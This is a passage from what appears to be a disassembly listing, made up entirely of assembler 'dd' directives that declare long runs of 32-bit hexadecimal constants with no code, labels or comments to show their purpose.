		dd 8D110642h, 18BF4382h, 11B81DB5h, 0C66487A2h,	0E8583391h
		dd 11201982h, 0E854A769h, 0EF08F100h, 0EA4072h,	9FD670AEh
		dd 2C384203h, 18A48926h, 22B26842h, 0FC948584h,	38BC9841h
		dd 6987EC98h, 0A340FD09h, 0B64C0104h, 0AC6283Eh, 170570DBh
		dd 0A2904093h, 0C2202829h, 23121A7h, 0EC1C432Ah, 0EBB0BE75h
		dd 230371A7h, 10E4A03h,	0FF210385h, 41C55C20h, 0ABB00BC8h
		dd 83E08C90h, 0E2ED21C3h, 41F6E8E0h, 6BC20C45h,	0D8055ACh
		dd 2868A040h, 28A097B4h, 242C18BDh, 412C077Fh, 20D81EE6h
		dd 8D25F2C8h, 0B5F80226h, 17840AB3h, 62053EAh, 599E25C1h
		dd 1699FA20h, 0E2094437h, 0A5D09C4h, 0BD2CA224h, 684E0382h
		dd 707E31B6h, 17B47E00h, 0C1D4B7BBh, 79710543h,	0D0CF1438h
		dd 4B806E94h, 308A242Fh, 0BB088h, 311E3397h, 0E8449487h
		dd 2BADC400h, 0D7B9DDA1h, 713F052Eh, 0C1B4E76Dh, 3B7BD24h
		dd 8B44D2D1h, 2194A230h, 7A0B02A9h, 0EA0AE0C0h,	7DBBF40h
		dd 3EF8EE3Ch, 8009C3C5h, 443B1909h, 632020B0h, 228CF66h
		dd 34731241h, 14F49624h, 0B08A7F58h, 0ECA94954h, 0A1817537h
		dd 7812FD05h, 14860910h, 471CE195h, 2F3049F9h, 446E0A65h
		dd 42B09A19h, 0E4FCCE8Dh, 3A51EF80h, 4EFCC809h,	0FD58C3C7h
		dd 9D9B5C00h, 0E82CEFD3h, 20229D96h, 405AB6CFh,	404E3C7Eh
		dd 88063C16h, 0A186398h, 8179D944h, 0E94D4048h,	7207548h
		dd 877EEA57h, 95D9D031h, 5423F0Ah, 22AF224h, 2A032068h
		dd 12881315h, 828A6E3Bh, 54A457B0h, 1710ECC0h, 0A845674Ch
		dd 0BCC88BD2h, 9E02123Ah, 1508A48Ch, 49AC7827h,	0F85391B0h
		dd 96215F8Eh, 39140870h, 0DE345C2Ch, 0A8F1C496h, 0D37EF460h
		dd 168A371h, 0F722D8BCh, 0AD01531Ch, 50620ECEh,	8408C7Fh
		dd 57000273h, 0EC8AD677h, 6D111EB2h, 19C169D0h,	118C1850h
		dd 8483805Bh, 0A910D5Bh, 19A9E719h, 0A540750Ch,	47849AD0h
		dd 608C44FCh, 605835C6h, 2A93A1A0h, 7700FFB1h, 8CE89EBBh
		dd 907B327Fh, 0B5FD3080h, 14800190h, 0CCDB5E5Ah, 0FEAE8F80h
		dd 0D8004E34h, 0B25A5674h, 8AB90AE4h, 0AC54D460h, 7739740h
		dd 0DE586B0Dh, 99A4C26Ah, 4C7C4CC6h, 0BC119F60h, 2E721B8h
		dd 0BFF631B6h, 0CC078ABh, 7F8887DCh, 41A760FDh,	85F12C37h
		dd 240828B1h, 0CBF1393h, 0D1899C0Ch, 511CAF13h,	1542C80h
		dd 867E182Ch, 0CFFC5126h, 204CBF88h, 0E53C9C3Dh, 2CC961DFh
		dd 1E058038h, 0F44C0631h, 0CE1411A1h, 99BC3F82h, 0DB107F78h
		dd 4E01E339h, 8392AD82h, 0DC7D3DDDh, 120B9913h,	35970B60h
		dd 0BC2CAC90h, 16DC809Fh, 4CBE72F3h, 58EB015h, 9822A829h
		dd 7C5E9F57h, 2908FC24h, 9A1689A4h, 97409854h, 4421F05h
		dd 0DD2BC9Dh, 14AC1Eh, 0EF0A6E72h, 0C0513FFEh, 41BB9591h
		dd 526A1E82h, 443E0830h, 0FC3F09D4h, 94C0AB27h,	649528FFh
		dd 0BA052000h, 0B0C50E9h, 3E00CEC7h, 7DD418E1h,	0A07C3FF7h
		dd 80AA88A4h, 20E16878h, 53E0AB7h, 89B7A544h, 716871C0h
		dd 27318B0h, 67B1D3E7h,	0E45E5E8Fh, 0AB0F00DCh,	8B151F54h
		dd 0BC13BB1Ah, 0C4923E82h, 29B0420h, 92C46DDDh,	0B05E41E4h
		dd 0E40A4478h, 419CA920h, 2B1EBDE1h, 2C04E020h,	30B981ADh
		dd 6D80A878h, 9CBB5438h, 0D7950328h, 6A94F8CCh,	339C7680h
		dd 1400DD77h, 44013808h, 33F81BAh, 0B4D2E6FFh, 6A83E199h
		dd 16C456D0h, 30C1855Fh, 7518A4E8h, 7897FF4Bh, 8AD54181h
		dd 30689442h, 5513D707h, 74CBFD08h, 0D70F1E73h,	9A3F009Dh
		dd 21BE7A37h, 0D4C498B7h, 884495A1h, 71C40337h,	1F7C33D0h
		dd 904795B0h, 4278ACC7h, 3B1183C1h, 0E120D00Bh,	0B9183C9Ah
		dd 86ED1C10h, 0C32A7F1Ch, 668CE1Eh, 0AF64C140h,	0B0B5BB1Ch
		dd 9FC01172h, 0F9498004h, 0ED7E74E1h, 607AD700h, 687BF7A1h
		dd 7CF214E2h, 81000C6Dh, 0E0697E10h, 0A21074F1h, 0ED0EE1A1h
		dd 7BE76DFh, 0C76981F4h, 0C068C7F1h, 0DC7C78F5h, 775A03Eh
		dd 5F7DE3EBh, 7B8780FEh, 680F5A1h, 85A0E97Ah, 731D2866h
		dd 837DE55Fh, 72DEE877h, 0DD9BAEh, 0B99EEE40h, 7BDFE95Ah
		dd 0E7A16300h, 0BAA3797Ah, 1F84719Ch, 28AEB9A0h, 89983104h
		dd 0F086F180h, 680114BEh, 0BA01A642h, 7986E35Fh, 71B9F1E8h
		dd 0EA6E757Ch, 7EE19818h, 7D08A8F8h, 0E2F13E65h, 0E4EF6D05h
		dd 80381BC0h, 0DC588800h, 0E26586F2h, 0A0B480DEh, 87187BE4h
		dd 0E1E856BBh, 0C345307Eh, 0A3A1B138h, 1407560h, 0DE6982h
		dd 0CD595AD9h, 9CAECCA0h, 819FE400h, 6B7AF2D1h,	0E1FE67C8h
		dd 0DDA943ABh, 0EF5E781Dh, 0CC3F7643h, 6A22CC14h, 0E8D05407h
		dd 424060F4h, 920380A1h, 3EFDED65h, 1C475A64h, 60DF10CDh
		dd 8ECB423Eh, 0A5848802h, 82989B18h, 264CC840h,	9C8BB5h
		dd 28243D74h, 66692EC6h, 730E81C4h, 0AC236754h,	0AA080818h
		dd 0BC422DA7h, 0AF19C161h, 21C8EB40h, 0EF02D948h, 4B3F032Ch
		dd 9494DFA0h, 2D9818A4h, 0C923D0h, 892C45ACh, 0DC608DE4h
		dd 8860A127h, 28232257h, 10D84695h, 6226B5C1h, 2BD10258h
		dd 0B81644CBh, 40E41993h, 0EF7CA044h, 0ACE4250Ch, 19A6AC25h
		dd 95F5868h, 6061E062h,	243EABh, 0C0C0390Bh, 74547259h
		dd 94A72991h, 0B3E14810h, 0B8881A23h, 8D26A070h, 16D0AE42h
		dd 61A4AD42h, 1B2840Ch,	5C353757h, 4461DC20h, 152DBD98h
		dd 33C00B19h, 9108C4BCh, 0D8540684h, 1A18D4F0h,	18CD79CCh
		dd 3B4270FEh, 0CD0F124h, 0C128B4D0h, 0B30BE5FAh, 72645408h
		dd 0CD3115FCh, 5925409Dh, 0BB142490h, 42D6F883h, 20C20A06h
		dd 0BCACB009h, 1244C2Ah, 9639D1CBh, 57B6FD05h, 592C8298h
		dd 3F808CDEh, 88B1F15h,	0B0575444h, 4011501Eh, 71812FFEh
		dd 6804188Ah, 2252C444h, 51DC2AB8h, 4CFC62FCh, 0A8ED1160h
		dd 0AA44821Eh, 1C6395BCh, 0CB044150h, 0B81891D9h, 4386530Ch
		dd 91C321C0h, 0BD1C50B0h, 48E4498Ch, 41CF9582h,	0A55818F4h
		dd 404E647Fh, 0A8CB615Bh, 0C48256Ah, 7FE93C9Ch,	0CC108D62h
		dd 0CD1E0184h, 0BC5878E1h, 5F018CCAh, 0E947804Eh, 42E94059h
		dd 84F8406Ch, 84E1C447h, 68890BC4h, 9B00005Ah, 1FDECBFFh
		dd 0F4490D90h, 0D4057923h, 132FF490h, 0E4D40899h, 0E64B056Ch
		dd 4917088Bh, 8B6500CCh, 1E576FC4h, 0C5F1538h, 0F81F2F9Ch
		dd 90A18445h, 13480897h, 90089AE1h, 676B07C4h, 57E05309h
		dd 73C8C087h, 9DD50934h, 8C5CF1Dh, 0E76097E4h, 85033AF0h
		dd 7350AA63h, 49C5BAF7h, 7468AD74h, 801C9B5Ah, 0CCD6EA1Bh
		dd 170E2FD1h, 0A345A8EEh, 82CF68F9h, 87C05885h,	619A44B0h
		dd 63C0F923h, 7B8D04A5h, 0A2EFBEABh, 0C0E8F794h, 40B40CACh
		dd 2ADB9800h, 4C04D41Dh, 48AF4BF8h, 56C0D174h, 4E21093Eh
		dd 0C0CB4Ah, 0BE3E5E59h, 0E47311h, 0D3F66403h, 8A0E9B10h
		dd 0BDCA79C3h, 931781Ch, 0B5CD0854h, 980A3C00h,	3F70D574h
		dd 26CCE802h, 0D6726A92h, 18C097B0h, 528C3985h,	0E68D1F00h
		dd 3FBAA418h, 4D80074h,	0FC893368h, 0D7F4DB55h,	0B2FF1D25h
		dd 111C9D78h, 64C09F8Bh, 82DF448Dh, 28A89539h, 35403AE4h
		dd 2C0126EAh, 1078DA1Ah, 54FA06ACh, 0A5465ED4h,	8DDCF902h
		dd 0F074C166h, 0AD465Eh
		dd 0BA211499h, 4507ECh,	379A32A9h, 1150E751h, 59278603h
		dd 0E0A74879h, 5AE54B2Fh, 0B880D41Ah, 31D6E9A0h, 7853C088h
		dd 3037681Fh, 9606047Ah, 9881CA16h, 0BDD039DBh,	418309A6h
		dd 0C85E15BEh, 51E0F689h, 18C77914h, 59CE0257h,	73C89F1Bh
		dd 0DAC72040h, 6A350109h, 0DFF06088h, 126CA336h, 7AE70A90h
		dd 5B137794h, 0F4B08BE5h, 0E8201C4h, 0A4D60363h, 0C5383CA9h
		dd 28043BDh, 0F805E16Eh, 4119C330h, 0F9003616h,	0D9B1D28Ch
		dd 248701CBh, 4E86894h,	0AEE0B8F9h, 0CA23F82Fh,	0B4A2B107h
		dd 0DF21E210h, 91067DF9h, 18A4D1E0h, 358B02E1h,	0BCFD9FBAh
		dd 0A71034C0h, 9C887988h, 18C7E464h, 6B805170h,	5C05E07Dh
		dd 54CEC7Bh, 32042C3Bh,	0A4EDCD0h, 0E4A89C72h, 20520A97h
		dd 8C24A370h, 16469C90h, 6B8BD33Ch, 5CD9EE05h, 0E1CB4862h
		dd 7C637388h, 51CFC100h, 0E3ADFE9h, 1F075509h, 0E4CCE5CEh
		dd 0DBD4608Bh, 5B631883h, 69CC48D3h, 349C2095h,	1FD2EB1Eh
		dd 2E326479h, 50F243A8h, 0D56C21B0h, 1CBFB900h,	3C82541Bh
		dd 8CA7BF97h, 858301CFh, 9C383465h, 0CE8888h, 0E8BC1F0h
		dd 9793C7F5h, 2E52EF00h, 6FE6E501h, 30285B25h, 953A5A60h
		dd 0ECC8845Ah, 0C80F1C0Bh, 788700B2h, 0F7587D3Bh, 7556C500h
		dd 8BD3D560h, 3F9F0B09h, 68854301h, 0C2948368h,	0D3A411Ch
		dd 6AE44240h, 73F95DCh,	0F657D0DEh, 5340DFA4h, 58A705EFh
		dd 5260A0BFh, 605EB9h, 12342CF7h, 9A998782h, 81AD6F05h
		dd 0B4036B4Bh, 806E9FC5h, 1B0FD90h, 469BD57h, 3E790A51h
		dd 40410822h, 3B28B90Ah, 28020D7h, 66E8481h, 2F017390h
		dd 4F78EE51h, 82057FEh,	23092779h, 0F614B0C1h, 371F30D8h
		dd 2CC2E1D8h, 97F6E8E2h, 0E6030604h, 420110EAh,	0FDC759C2h
		dd 21BCF5E0h, 0E3C3AA0Bh, 87E9AD00h, 0DFF82734h, 0F52083E3h
		dd 0F69E8A55h, 80CB7848h, 34328841h, 1FEF2823h,	350D3BEh
		dd 0DF9D8A56h, 7A213CEDh, 1B2AFB80h, 0F60F6124h, 0DC181C63h
		dd 4391820h, 0AF6141F8h, 18C13CFAh, 2B0756ABh, 6EE33886h
		dd 60051DDh, 9445B9CCh,	88B173h, 8F306855h, 0E9FC637Ah
		dd 0F1726CE4h, 0C608ACA4h, 8EEA96F8h, 2A180C1h,	0F4A6FEA1h
		dd 3C184B42h, 9121DF5Dh, 0D2F309CEh, 0D70392ECh, 183AF705h
		dd 0FC970F78h, 0CBB60040h, 241E52h, 0E0F54632h,	0A8CDF6FDh
		dd 0C354A01Ch, 0FA4D34C0h, 30916786h, 0F40885EAh, 0C5003BF1h
		dd 42DEC73Dh, 575E3C36h, 66074C40h, 0C2CEE8E0h,	0E0914CDDh
		dd 0FBC2112Ah, 0AB3A4886h, 7140F0BDh, 0CD2B41AEh, 0A1AC5029h
		dd 0A7487C5Bh, 0E6E00A0h, 8145B722h, 0F648C015h, 11445B64h
		dd 0E0A4E9E4h, 0C778C171h, 2B318DE8h, 78A318F2h, 219E06E5h
		dd 0DFF8050Dh, 3FB041FBh, 473BE3A6h, 48E78688h,	0F7923A00h
		dd 0DCA9FE27h, 70E16148h, 0D037608Bh, 18445E3Dh, 541400B1h
		dd 2A265F16h, 0DD30E791h, 6640C138h, 69F40001h,	6044AA0Eh
		dd 44E94186h, 8258009Ch, 6BF163FCh, 0FA90E154h,	0D9107A64h
		dd 2E685440h, 0F40F51C2h, 0A7FE7366h, 0C17CDFA1h, 21AB011Ch
		dd 0CAA707E9h, 934201F5h, 0C579BC51h, 0CA90EE8h, 38C770A2h
		dd 73F0A479h, 74F9AF00h, 0C0929468h, 57674CD4h,	42277804h
		dd 0E12C823Dh, 8D32C120h, 33920037h, 2EC7958Bh,	990C4BD1h
		dd 0D1F003F4h, 331A0086h, 3AF79EC1h, 0FA0CE541h, 21DFA806h
		dd 36433128h, 4F70E58h,	1618885Eh, 338711h, 1E116485h
		dd 9D6CE327h, 71D42B52h, 0E1A820F5h, 8F6051D5h,	21A2EC86h
		dd 406C1E65h, 89ED85EAh, 690C016Eh, 82C8DD31h, 0FC5B9F41h
		dd 0C1304093h, 0DCD300B5h, 76E5E33Dh, 650A80C0h, 14FEA21Fh
		dd 6C68CFC0h, 0A630A03Ch, 0DEA084BDh, 0DDF88A31h, 68E0A430h
		dd 0FD66FAh, 414EA055h,	0B0E4917Bh, 1B61231Eh, 9324DC89h
		dd 8018B340h, 42EA87Bh,	6AF214ABh, 0F10488E5h, 28409F29h
		dd 20DBA97Bh, 82CF8E0Eh, 804B1A2Eh, 0DFE5E12Ch,	0FA349202h
		dd 46040CCFh, 28612172h, 31D7A00h, 32A7B9DAh, 1C294823h
		dd 20F70C84h, 0B09738F0h, 0A0E871EBh, 842D2A98h, 52F5DBEAh
		dd 0CA152A4h, 118A3E11h, 35082C7Ah, 58DB2F40h, 0C9A13023h
		dd 88118071h, 84E13CC4h, 372D0092h, 66C7346Ah, 2550216Ch
		dd 0B80CB52Ch, 0F067241Ah, 90E049A3h, 60430078h, 7CF526A0h
		dd 0E49AE9BEh, 0C8B45F0Dh, 424B0C2h, 5C888846h,	0BBD32B0Ch
		dd 2455B994h, 80C89D02h, 0F63C03Bh, 30E306A0h, 0F4035BACh
		dd 0CCECA4FAh, 0C1EAB9A2h, 30CC7861h, 3C1D4824h, 389D6B3Eh
		dd 0EB4E8260h, 4486567Bh, 400C513Ch, 312880C2h,	30BCF469h
		dd 7D80367Ch, 264C2BB6h, 74F87D6Ch, 0A6F7B9C1h,	1883205Fh
		dd 260D6B9Ch, 83C33000h, 0F2580B8h, 909B14E2h, 0C1869433h
		dd 0D31E3031h, 0FF0D7CF8h, 0B4421043h, 0C27D24F9h, 0C702EEA4h
		dd 37CC9248h, 49DD0504h, 6B18D1DBh, 0CE4A00ECh,	0DF94A0BEh
		dd 0D4D20228h, 29F35DF5h, 7E038080h, 2C0CF92Fh,	29BCF749h
		dd 8F22848Ch, 30722026h, 0E1D97D00h, 951EBA7Ch,	5BFF011Fh
		dd 9F3DFE54h, 0D87DC814h, 9C79DE00h, 0B72E16EBh, 0EED91EABh
		dd 0AD0A00F7h, 53CC2A38h, 1BC28100h, 9BC59D20h,	0BBA5035Dh
		dd 379AFEEAh, 687FD180h, 6F023C01h, 8B0FE18Eh, 0F362E0h
		dd 8D776EAEh, 98F1224Fh, 0EAFA3800h, 23E4B517h,	7AF097h
		dd 0D4275749h, 0D1891350h, 60DEA926h, 6797C280h, 0AEF266h
		dd 0A6CEA080h, 1F3EFD06h, 412A5F00h, 0FCE3423Dh, 9546009Bh
		dd 0F2316270h, 0DD026C71h, 65F463D1h, 0D221608Dh, 59C761CFh
		dd 106896B4h, 35A30CAh,	0F19EDABBh, 53808518h, 4B00EC8Ah
		dd 2FD732ABh, 0C566FCh,	36AC0E43h, 834185A0h, 4E405800h
		dd 0F80524CFh, 0A7F280h, 1A51E497h, 7061190Ah, 0CD7F58F6h
		dd 0AACE8A00h, 4FE1C43Fh, 33FC0EBFh, 0A209119h,	7D627735h
		dd 2EF27600h, 0EF85C393h, 3ABFE01h, 0B78B7A37h,	9BE8D654h
		dd 0E43E0B99h, 9F6400C4h, 0C390621Ah, 5D12414h,	0EDB1DC3h
		dd 6BC2BED4h, 3CE04FEAh, 0BB01DE81h, 0F58AEBABh, 68803A0Bh
		dd 0CE68E1E2h, 841CA44Bh, 80FD6B76h, 28CBE79Eh,	5C8E17D6h
		dd 630096E8h, 6E91DF67h, 94006D9Ah, 8A372A32h, 602DE7CAh
		dd 0A1C1153h, 8302DB5Bh, 983E1BC5h, 0E49FC06Dh,	27860096h
		dd 0A7700579h, 2258A133h, 0DB785035h, 3700EE7Ch, 0E5A37D1Fh
		dd 330FEE1h, 5114B727h,	0DDD09203h, 3A009F10h, 7C44D201h
		dd 0ADC2A8h, 0DC56CDC6h, 12F45811h, 4E2C9501h, 0ADBB97Bh
		dd 5A7D1C84h, 22CA006h,	0E8CE7600h, 0A318B337h,	0D7EF0081h
		dd 9932C062h, 7400F323h, 0B819E5CBh, 502BEB11h,	396AD928h
		dd 0AC008E68h, 0EF274FB5h, 17EE97F6h, 849DEA24h, 6A673F00h
		dd 90F3DC44h, 59BB00ECh, 176C7351h, 0EE1EEF64h,	82BD5AABh
		dd 0BA2378CDh, 5F3C4065h, 379B00A4h, 0F46BECFAh, 1818D2F1h
		dd 71285898h, 2166407Ch, 379CE500h, 28B52DBAh, 0B4D9002Ch
		dd 0B8CDFD3Fh, 20008949h, 952F9B73h, 73578AEh, 3CA011C7h
		dd 79C252F3h, 4FE6CB00h, 0F96F0174h, 0FF7727C8h, 8047D046h
		dd 3E658C00h, 16F8D8DBh, 0F53704BEh, 0C04B3D48h, 5F04EA04h
		dd 13A57000h, 47FCA478h, 1F34F85Ah, 6E35D73Dh, 286580D4h
		dd 0DCA26C42h, 0D8B81D0Eh, 17F7A09Dh, 339961h, 7F55155Dh
		dd 849CAFB9h, 5E8FA100h, 1C4DE3C6h, 0E240007h, 0C36142DDh
		dd 0F0A2AC98h, 5801D940h
		dd 0A1EA6709h, 66282063h, 0EC69143h, 0FC9DB86Fh, 0C3266120h
		dd 9BE6F418h, 0CC710118h, 270859h, 0A73223B5h, 0B3F964C6h
		dd 0D4CDBB01h, 0FBFE611Ah, 0E28FF770h, 9D9F459h, 0CC17F61Ch
		dd 4E22CC01h, 112EB368h, 80E9C76Ch, 923B4B10h, 804400DCh
		dd 0A1736B99h, 0A80020A2h, 1178E28Bh, 0EFB39254h, 147CFCCh
		dd 0CB44F7E7h, 0F8121501h, 0B800D663h, 0DBEBCD30h, 704F6AFDh
		dd 151A48DAh, 0C3DD731Fh, 0DC1858B9h, 1DEF52E0h, 15258800h
		dd 4F4B690Ah, 0F2F90075h, 118E24E3h, 0B71FCDDCh, 0C940F065h
		dd 264B612Eh, 0DBA900EDh, 0BBBFF6DAh, 0D0F47298h, 0BD3A9E7Dh
		dd 706814Ah, 24E4EC5Eh,	39B43EC8h, 198967F6h, 6C804A5Ch
		dd 0FA2C76B2h, 0F377DF00h, 9C7C4FD8h, 906100C2h, 0CE49CCEFh
		dd 9A02601Bh, 1E2E0F7Ah, 67C301h, 0B5F506A0h, 280A4E95h
		dd 0FA60E3A0h, 7F3C4958h, 0CEB67800h, 638D0F81h, 0EE3500F0h
		dd 0D8EA3C48h, 0D53A59F5h, 0BA530091h, 36105BC8h, 826603E8h
		dd 52E37428h, 9578211Ch, 4D1D1280h, 59D83C7Ch, 0FA00B0F7h
		dd 5EA9BA15h, 0D901BC93h, 4463B9C5h, 51DCAAB6h,	0CCC40F60h
		dd 0D752E878h, 66AB3054h, 0E4004390h, 0DABD86E3h, 305EF26h
		dd 0B969B867h, 200E5224h, 22E6DC3Eh, 409F2042h,	4361A38h
		dd 295A7062h, 64CD1FCh,	208FF123h, 0C8008CF8h, 251FA471h
		dd 0FABE3F3Bh, 4CD8009Bh, 0FD100CDDh, 784A2EC5h, 6263A80Eh
		dd 603AEC45h, 9F5B78Ch,	0B475BC5Fh, 50367807h, 1EEB38E9h
		dd 0FBFFB501h, 0BE45DA1Fh, 177817F8h, 352B872h,	1393790Fh
		dd 4D9F20BFh, 0A8006028h, 0F1257626h, 714FAE24h, 0B25214E0h
		dd 0B400E0D2h, 0E104C086h, 3C0473B8h, 63AD9B0Dh, 0CCC785C1h
		dd 0CD4830h, 96BD0515h,	0BBF9D71Ah, 0E37A7865h,	0E006BC82h
		dd 153161h, 7B45EA10h, 86091AF0h, 0BE124101h, 84A9EF44h
		dd 11E87E8h, 0CEF4F908h, 507BC669h, 0BE7C81C4h,	48005879h
		dd 0A048B61h, 43CC21h, 7918FDBDh, 8E4BA189h, 71E85403h
		dd 88A2646Eh, 396031FFh, 20003FE2h, 0F4AF8527h,	0AA265A99h
		dd 0B40424C5h, 4500D643h, 24C90E8Fh, 2B8B14Dh, 0B426F8B9h
		dd 1207237h, 0DEC6D9D1h, 61F318B8h, 0FADBD86Eh,	9D879400h
		dd 353F592Ah, 2D1E00E1h, 3019D432h, 2138CB0Ah, 47C50028h
		dd 51BB1A12h, 0B92C0018h, 0A3618643h, 780981EAh, 8779EF9Ch
		dd 0FAE0DC1Ch, 77750868h, 160926Ah, 0A501E05Fh,	31CA4CE4h
		dd 0D0C4D1AAh, 7C9C67BEh, 0C6A92830h, 377F03ECh, 2F7D94FEh
		dd 9CDD60A0h, 27F02490h, 0CE00B1F8h, 0EF2E3180h, 0DA5F70h
		dd 0EE0F9495h, 0E88252C5h, 2136CA00h, 0DE0A3580h, 503D5C67h
		dd 78AB4C50h, 59931FC7h, 8A803CF1h, 2A525181h, 73008FA7h
		dd 0A1BFDCFFh, 7ED5EC7h, 6A3A2792h, 3D6943DAh, 80E851C1h
		dd 7CAAE1D1h, 3AC23831h, 0C085C801h, 8DE26D5h, 0DC10A978h
		dd 4D0D0078h, 0EC9CA8CBh, 0F4F0C3DDh, 6C3DF600h, 91B345CFh
		dd 152D00DFh, 29FEA227h, 0C1FFC19Dh, 26C2F0E1h,	0E415B094h
		dd 528400A8h, 0C9241B85h, 7FA25CEAh, 0FE906000h, 13DDED86h
		dd 83600E63h, 4229CEF2h, 0FD5111E6h, 0A6140721h, 0A3121028h
		dd 0C2A7E500h, 9D5D21EDh, 1E593700h, 0E098765Ch, 0DCB40E19h
		dd 3A00D594h, 22051C30h, 47BF1000h, 869CCE64h, 5C8D01A3h
		dd 1842E0D1h, 0C64EF42Dh, 0D8055C90h, 75B36BE7h, 0CBCF18D0h
		dd 24449851h, 8B60A215h, 18A2926Bh, 0FA00EE17h,	2C50B747h
		dd 1BCC390h, 4E97E5Bh, 0CD3670D2h, 1396B11Eh, 0A3BE8900h
		dd 39CABD5Fh, 8B00776Dh, 7146B82Dh, 720175CFh, 0FDD2031Ch
		dd 0EBE4C9A2h, 7E940026h, 485E189Bh, 89001CB6h,	0D495DF11h
		dd 243954h, 0DA3B6573h,	0EB27EC77h, 9F7F6600h, 0ACB4353h
		dd 75E2000Fh, 0B98F71BCh, 903C0C6Ch, 7C1F8AECh,	0E313D8DDh
		dd 0BA6B0904h, 7CDE78C8h, 88354C3Bh, 6AB95A80h,	804C349Eh
		dd 0A03D8E18h, 3901F796h, 0C13B00D4h, 389414F9h, 809A1E93h
		dd 0F53EA7E4h, 0B1E88065h, 1F983DAFh, 0DEE20A70h, 0F985FFFh
		dd 0D3E05C43h, 52E67BE3h, 0D7CE2B00h, 0C5B67C28h, 0DDE500F9h
		dd 0F5F33508h, 1E005C21h, 0D86947BBh, 0B857C252h, 66C50174h
		dd 8C760A1Ch, 61CC4392h, 0D859E8F9h, 4401D356h,	1CC786A1h
		dd 0F7DC0325h, 0E258006Fh, 43C9461Eh, 0B024FAF5h, 0B13C6428h
		dd 4E40B164h, 0EB002428h, 11974E4h, 1612BC1Eh, 436F92h
		dd 0A04E2C94h, 16FBCFEBh, 0CA53819h, 54213F5Dh,	0A4E21100h
		dd 766E5740h, 0BF40006h, 0C7A309A5h, 0AD075238h, 5BB59C72h
		dd 5865C383h, 0A200A870h, 0A866E145h, 5E0262CFh, 42AB6982h
		dd 0B06C6089h, 0A0A5E633h, 1704FCA0h, 16780F5h,	0BEBF359h
		dd 0E92930CBh, 3F00287Bh, 225B985h, 137C49C3h, 0BD5EFAh
		dd 1BBE6188h, 0AE009987h, 2C5271F5h, 47AA90h, 0BD4113A0h
		dd 0C517E907h, 54777D13h, 0ABDB204Fh, 0B5BA805Eh, 0F46D1EB4h
		dd 2CDD00F3h, 0ED9F3536h, 537B7172h, 54184D01h,	165E4096h
		dd 0AF7ED4h, 0F3BB1099h, 2BFCD158h, 648B202Ch, 0D2A11828h
		dd 3C050DDh, 52001472h,	0C745A8C6h, 22BEB04h, 61E107C2h
		dd 0BC48F233h, 0C01E29FBh, 0D38039DBh, 9FC5F1Ch, 0E0AE491Bh
		dd 60780708h, 9C3EB000h, 1E67413h, 22E406DAh, 896BEC6Dh
		dd 804C0921h, 0BA3F9D96h, 497100F4h, 0FF1EDB99h, 0CF00A27Bh
		dd 17D3BF16h, 5BCB19A9h, 434400DCh, 1A4BE5C8h, 971CFE01h
		dd 565C3FD5h, 9C1260h, 0D8C95516h, 9FD47E4Ah, 0E5B950C4h
		dd 52D8A4h, 215C3298h, 97B47359h, 88A87EE6h, 56004688h
		dd 0B0356740h, 730E6227h, 1CBA00D5h, 31B6F393h,	651EFB0Ah
		dd 0B75EFE5Ah, 0D148897Eh, 179776F1h, 0C248C403h, 0B848AB8Bh
		dd 0D70E8A88h, 20F1DA9Fh, 6E2FE703h, 27DF0EFCh,	5CC02C76h
		dd 2DE910FBh, 0B05E1A00h, 9DF9615Dh, 8CA60187h,	8AB535B7h
		dd 0F506F0A8h, 25144472h, 1E83EF09h, 92C0293Bh,	8D60B337h
		dd 17B8B6C2h, 0AB840054h, 0DC3FA84Dh, 806E1D39h, 9EB76157h
		dd 0F77E38FBh, 0E6714C87h, 2EC90E9h, 6A06F1E4h,	2A6E7D04h
		dd 1CAF248h, 87AE480Bh,	0D871974Dh, 2F7BD58Ch, 0ED0ADA00h
		dd 0C2114F1h, 4DCA145Dh, 8E0084A6h, 0CC4FF066h,	8C034E23h
		dd 0E10BF10Ah, 0FF079887h, 23A70A6h, 0DA45CA30h, 1C70B3C6h
		dd 1A39A900h, 0B025CE4Dh, 0EF08078Eh, 0B062C3BFh, 78596EB4h
		dd 5422A261h, 11C18CFFh, 7D2DDF60h, 21D000DBh, 0FF0349Ah
		dd 240032B8h, 1C3BFFF8h, 0FAEBCE70h, 18F400B4h,	7B57B530h
		dd 4224D6A1h, 7607D0F5h, 6091E04Ch, 0DC4732DCh,	0F3F03E0h
		dd 9675267Bh, 0E27F0014h, 0E928B9A9h, 0FDE6061Eh, 0BD5600FDh
		dd 672342DCh, 3C7804h, 2A3AECE5h, 0E802FD5Eh, 991B2E0Eh
		dd 489A2CC4h, 48EE26F1h, 0D6BB00A0h, 968FB72Bh,	2F329201h
		dd 906EAC80h, 69AFECh, 0E272F7D7h, 0E87841B7h, 6049C107h
		dd 3E23BFB2h, 384BC8B3h, 1314BE6h, 1C4A0CF4h, 7DC3C4Fh
		dd 915EA589h, 43FB32B0h, 0AC270EBEh, 18308E9h, 0FDA94B10h
		dd 2CC28A9h, 0A032350Fh, 912868EEh, 21AF01B2h, 0D2F10150h
		dd 32383411h, 68DB9224h, 1219F509h, 123844A8h, 12C82E0Ch
		dd 48B009C9h, 92CCAC01h, 12F4321Ah, 880FBA53h, 0C814C78Ah
		dd 0BC876557h, 0F890A575h, 93204ADh, 0F4AA69BEh, 993E5202h
		dd 41026C48h, 1CA4E00h,	1D5F20F6h, 1420FDA3h, 9ED2240Ch
		dd 0ECCF8124h, 2A6BA80Dh
		dd 60511421h, 23D3064h,	7DBC219Ah, 2C6465D1h, 0E2692C09h
		dd 0D07C473Eh, 160B62Bh, 42129D91h, 0C8FA016Eh,	0B7D7935h
		dd 946CDCh, 27DE69E2h, 3392ED5Bh, 0F90868EFh, 0FA750BA1h
		dd 0E3612882h, 794E412h, 0ED60FDD7h, 1030C82Ah,	0B6E04DB6h
		dd 331B0FF4h, 67187B6Ch, 0B842324Ah, 0AC60A284h, 18BC7084h
		dd 28F7411Ah, 67017396h, 0C7B1F5DCh, 1C506839h,	3F26AA03h
		dd 2E382CF9h, 88309992h, 278445Ch, 1892E94Bh, 70000F71h
		dd 927566CFh, 0FF2EC374h, 0D9303274h, 1DC7C23Ch, 8F9DE325h
		dd 78ED7A8h, 1721EA8Ch,	3DFA730Fh, 8C98F463h, 0F82B48DCh
		dd 267EA1h, 0F1056A9Bh,	54FC8F7Ch, 600E555Fh, 80088073h
		dd 0BCB1A707h, 0B4C812F0h, 0B731B2C0h, 26DE282Eh, 83B3E181h
		dd 0C89660ACh, 8C01B5E4h, 64751665h, 0B18092F1h, 49F81AB2h
		dd 48C5102Eh, 0CC4011DFh, 0F2674FD9h, 48F0FC3h,	7CEFED18h
